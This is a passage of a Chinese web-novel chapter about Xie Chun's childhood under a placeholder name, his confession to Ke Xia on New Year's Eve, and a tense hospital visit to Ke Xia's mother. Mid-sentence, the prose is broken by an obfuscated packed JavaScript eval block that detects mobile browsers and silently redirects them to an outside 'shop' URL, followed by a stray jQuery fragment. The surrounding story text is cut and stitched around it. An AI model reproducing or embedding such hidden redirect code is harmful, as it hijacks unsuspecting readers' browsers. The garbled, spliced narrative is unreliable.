某年深秋。
文化教职工宿舍楼下偏廊。
范柔芳把婴儿交到女人手上：“妈，他就拜托你了。”
“亲娘啊……你跟他这不是在开玩笑吗？这小伢出生就不跟爹娘在一起怎么行？”
女人说着，却小心翼翼地把孩子接过来，抱在怀里。
“我们也是没办法……小纯已经够麻烦的了……至于爹娘，养在你身边，就当是你儿子了。”
“哎哟，这，这真是……”女人叹气又叹气，半晌才道：“那这伢儿叫什么名字啊？”
“不能给他起名。妈，你要是实在想起，就起个小名吧。但不能用具体的字。”
“具体的字？平凡一点的都不行？”
“不行。”
“哎……真是造孽啊。那叫囡囡可以吧？”
……
小孩再长大一点儿，有了朋友。
“你叫什么名字呀？”
“囡囡。”
“不是这个，这个是长辈叫小辈的啦。”
谢纯跑回外婆的宿舍，拉拉衣角：“妈妈，我叫什么名字啊？”
“你就叫囡囡呀。”女人和蔼地帮他捋了捋头发。
谢纯摇头：“我朋友说这个不算名字。”
“这个怎么不算呢，算的呀。”
“好，我知道了，我就叫囡囡。”
……
在全院的“囡囡”呼唤声中，谢纯长到了七岁。
这一年，谢纯在跟随父母创业的过程中死了。
从此，囡囡有了自己的名字。
也离开了待了七年的文工宿舍。
往事如落叶吹盖在范柔芳眼前，她满头的晕眩终于好了些。面前谢纯凌厉的眼神仍然刺着她的瞳孔，她如同一只被挑开了甲面的穿山甲。
终于，她发现她躲避的洪流，以雪崩的方式还了回来。
范柔芳的唇瓣轻轻颤抖：“我记得，连你离开我怀抱的样子我都记得。可小纯，这怎么能怪妈妈呢？”
谢纯合睫，半晌将头偏向另一边：“我没有怪你。”
“外婆说我应该背负起那个人的责任，我背了。离开嘘寒问暖的外婆，离开满院的朋友。你们对我严厉，让我把理科学好，活成他的样子，我也没有反抗。即便结交的朋友因为你们随手的职务任免而变得跟我老死不相往来，我也理解。”
“但是，某一天我看到了另一种活法。”他凌厉的眼神穿透时空，落在一场大雨里，忽地变得柔软。
“撒泼打滚也要争取的活法。”
“总之，从今天开始我不会全听你的了。”他合上唇，终究没有继续说下去，淡淡地接上：“我不会不管谢氏，前提是，我是我自己。”
他反手打开了门锁，清脆地一声响。
“洗完澡就去吃年夜饭吧，大家都在等你。”
落下的锁声后，是他走进风雪里的脚步声。谢纯从大门走到院门，一伸手打开院门，却撞见雪地里一株红挺立在门口。
柯夏见他错愕的神色，缓缓地举起手里的饭盒：“那个，王阿姨看你们好久不来，以为有事儿，就让我把这个带过来给你们吃。”
“啊，你们说的那些我听到了，但是你放心……”
话音未落，她就被一股力量捞了过去，下一刻，撞在男生柔软的胸膛上。
“我好喜欢你。”她听到耳边，那个一向稳当的声音破碎地颤抖。
柯夏悄悄地把饭盒放下，用全部的拥抱接纳他。
走回去时，天空飘起了细小的雪。
柯夏伸手去接：“好几年没下雪了，今年能积起来吗？”
谢纯那边没有言语。
她扭头望过去，见他正微微仰着头，任凭雪花落进眼睛里、填进额发缝隙。半晌，似乎才意识到柯夏的视线，他回望过来，眼底一片白茫茫。
柯夏垂眸，将他冰凉的指尖拉住。
滚烫的温度透过指尖涌入心脏的刹那，他心动了动，脱口而出：“如果你介意我的名字，帮我想个小名吧。”
闻言，她诧然地抬起头。
麋鹿般清澈的眼底倒映出他的脸。
就这样映了片晌，女生笑着摇了摇头：“干嘛？谢纯就是谢纯，我只认识一个谢纯。”
“谢纯，就是谢纯？”
“嗯。”雪光映得她眸子明亮：“我喜欢你，是喜欢全部的你，不管哪一部分到底来源于哪里，是好是坏，我就是喜欢。”
“你问我的，我回答了。我问你的，你还没回答呢。”她又续道。
谢纯眉尖轻蹙：“什么？”
“今年的雪，会积起来吗？”
“……”她笑着，笑容化作一丝暖阳化进他眼睛里，谢纯跟着，唇角重新弯起来：“今年太暖和了，明年再等等吧。”
“太可惜了。”柯夏撇了撇嘴：“明年我们都高三了吧？听说高三就是无休无止地背东西，还能有时间看雪吗……诶？想起来了，我得提前给你整理二班的资料啊！”
“整理什么资料！”道路尽头王琴英的声音笑骂了过来：“除夕还整理资料？快过来吃饭！”
“来啦来啦！”柯夏把脖子一缩，给谢纯递话：“谁后到，谁明天叫起床！”
说完，她不要命地跑起来。
没有积雪的冬天，她像一个小雪球。
谢纯没有加速，迈开步伐，懒懒地在后边跟。
这一夜灯火通明。
这一夜，他们终于看进最深处。
……
——
果然就像谢纯说的，那晚的雪没有积起来。
柯夏打开同学群，大家纷纷都在抱怨。她向沈昭抱怨，沈昭倒拍了几张积雪过来，再一问，人家搞完了项目，去南极度假过生日了。
柯夏想了想，发消息给她：【你啥时候回来呀，生日礼物都没给你，快递寄得到南极吗？】
沈昭被她逗得笑了半天。
【过几年吧，这些年到处跑我都不知道要寄到哪儿。我保证，不出五年我一定回绩市！】
【行吧……】
她相信沈昭说的是真的，因为去年，从来不缺席她生日的王薄也没能回来，只发了个冷冰冰的大红包。
还有个生硬的生日快乐。
柯夏没领那红包。
王琴英已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236567|196091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这那借口的塞了一大堆钱，她就要返校，学校里面真的真的花不完啊……
那天之后，范柔芳不告而别，只给谢纯留了个字条——
【小纯，妈妈明白了，妈妈错了。你哥喜欢理科、喜欢为你爸爸做事，你的理科也很厉害，为你爸做事也很厉害。导致我一直以为孩子都是一样的。但我仔细想了想，你从小在外婆给的环境下长大，其实喜欢小猫小狗，喜欢朋友，喜欢文科。原来这么多年你一直在忍受我，忍受家里所有变故都押宝在你身上的痛苦。妈妈明白了，但妈妈一时无法接受，需要自己出门到处看看，冷静地想一想。小纯，关于名字，你误会爸爸妈妈了。我们对孩子唯一的期待，就是活得纯粹、做自己。虽然在你身上我们背道而驰，但我恳请你收下这个名字，它无关你的哥哥，是我们对孩子一如既往的期待。】
谢纯看到字条时，正在收拾返校的行李，手上拿着政史地新书。
他把字条来回看了许多遍，直到眼前花了，才伸手夹进了历史书最后一页。
返校前最后一件事，就是去看柯夏的妈妈。
金田巷离医院不近，除夕夜没能和妈妈一起过一直是个遗憾。而且，妈妈身体状况一直不太好，能不能等到她和谢纯毕业那天，是个大问题。
上一次见面太草率了。
这一次，她想好好地补上一面。
见面一旦被赋予正式的名头，就令人紧张起来。虽然明知陈最语上次那番话，就是多半知道他们之间有点儿什么，她还是不敢草率，把谢纯放在原地，舌头都打结了：“那，那个，你在这儿等我，我，我进去知会我妈一声。”
谢纯眉梢微扬：“她不是早就知道么？”
“那能一样吗？”
“不一样在哪？”
“哎呀，别问。”柯夏又羞又恼：“总之你在这等我就行。”
“哦，好。”
柯夏站在病房外，一口接着一口地抽冷气，脑子里排演了无数遍该怎么跟陈最语好好提。
万一她不知道怎么办？受刺激太过怎么办？
医生可是说过陈最语最不能受刺激的。
万一呢？
她越想，心脏跳得越快，不住地往胸腔里吞咽口水。
在门口站了约十分钟，她才鼓起勇气，伸手去拉病房的门。
就在这时，她微惊了下。
——门从里面被打开了。
随之而来的，还有瓷器摔在地上，迸裂开的声音。
它炸响在病房里，却接连爆开在连廊。走过路过的病人护士纷纷驻足，抬头往里边看来。
门被拉开的刹那，柯夏缓缓抬起头，看见了一张做噩梦温习了无数次的脸。
她的瞳孔缓缓地缩小。
柯云霄手里提着被摔得面目全非的果篮，那上面还系着个喜庆的大红色蝴蝶结。他一凝神望见柯夏，笑着道：“哟，悄悄来啦？我正要找你呢。小谢总呢……哦，在这儿呢。你果然跟小谢总有关系啊？悄悄，你有这层关系怎么不早说呢，害人家任总一直费劲到处打听。”
他身后，是满脸悲愤，从病床上摔落、双手支撑着身体爬行的陈最语。